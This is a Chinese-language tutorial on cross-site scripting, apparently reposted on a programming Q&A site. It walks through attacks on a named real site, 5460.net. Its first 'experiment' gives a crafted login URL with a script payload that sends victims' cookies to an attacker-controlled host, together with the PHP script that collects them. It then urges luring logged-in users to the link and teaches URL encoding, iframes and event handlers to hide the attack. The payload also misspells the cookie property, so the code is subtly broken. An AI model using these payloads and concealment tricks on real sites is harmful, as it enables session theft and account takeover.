当前位置:编程问答 > asp >

跨站脚本执行漏洞详解

答案:本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。

声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负!

【漏洞成因】
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。

【漏洞形式】
这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中,然后再输出结果
注意:后者可能会让你的网站面目全非!:(
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。

【漏洞危害】
大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1. 获取其他用户Cookie中的敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4. 拒绝服务攻击
5. 突破外网内网不同安全设置
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
7. 其它
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。

【利用方式】
下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。
为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。
另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
好的,一切就绪,我们开始做实验!:)

实验一:获取其他用户Cookie中的敏感信息
我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行:
1. 进入首页http://www.5460.net/
2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。
3. 分析抓包数据,得到实际请求:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.5460.net/txl/login/login.pl?username=<script>alert(documents.cookie)</script>&passwd=&ok.x=28&ok.y=6
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.5460.net");
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
7. 后面要做什么就由你决定吧!

实验二:屏蔽页面特定信息
我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你的名字,对吧?
既然有了上面的种种条件,我们可以不妨作出下面的结论:
某个用户可以“屏蔽”其两次留言之间的所有留言!
当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是除了我们这些研究CGI安全的人来说,有多少人有事没事都看HTML源代码?
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?

实验三:伪造页面信息
如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而已。

实验四:拒绝服务攻击
现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的javascript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可以隐藏身份。

实验五:突破外网内网不同安全设置
这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于Internet区域,可能你不允许javascript执行,而在Intranet区域,你就允许javascript执行。一般来说,前者的安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意javascript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet区域。

实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样的蠕虫,都是很好的例子。
更多的例子请参考下列链接:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html

跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。

实验七:其它
其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。

【隐藏技巧】
出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1. URL编码
比较一下:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!

2. 隐藏在其它对象之下
与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?

3. 嵌入页面中
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。

4. 合理利用事件
合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。

【注意事项】
一般情况下直接进行类似<script>alert(documents.cookie)</script>之类的攻击没有什么问题,但是有时CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。

【解决方法】
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员:
1. 过滤或转换用户提交数据中的HTML代码
2. 限制用户提交数据的长度

用户:
1. 不要轻易访问别人给你的链接
2. 禁止浏览器运行javascript和ActiveX代码

附:常见浏览器修改设置的位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用javascript

【常见问题】
Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。

Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。

【附录】
下面是一些跨站脚本执行漏洞的例子:
http://v7.51.net/exploites/exgb.txt
http://v7.51.net/exploites/ichat2.txt
http://v7.51.net/exploites/bbs2www.txt
http://v7.51.net/exploites/5460II.txt
http://v7.51.net/exploites/sf.txt
http://v7.51.net/exploites/phpmyadmin.txt

上一个:ASP中如何将代码生成的文件设为只读
下一个:跨站脚本攻击

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,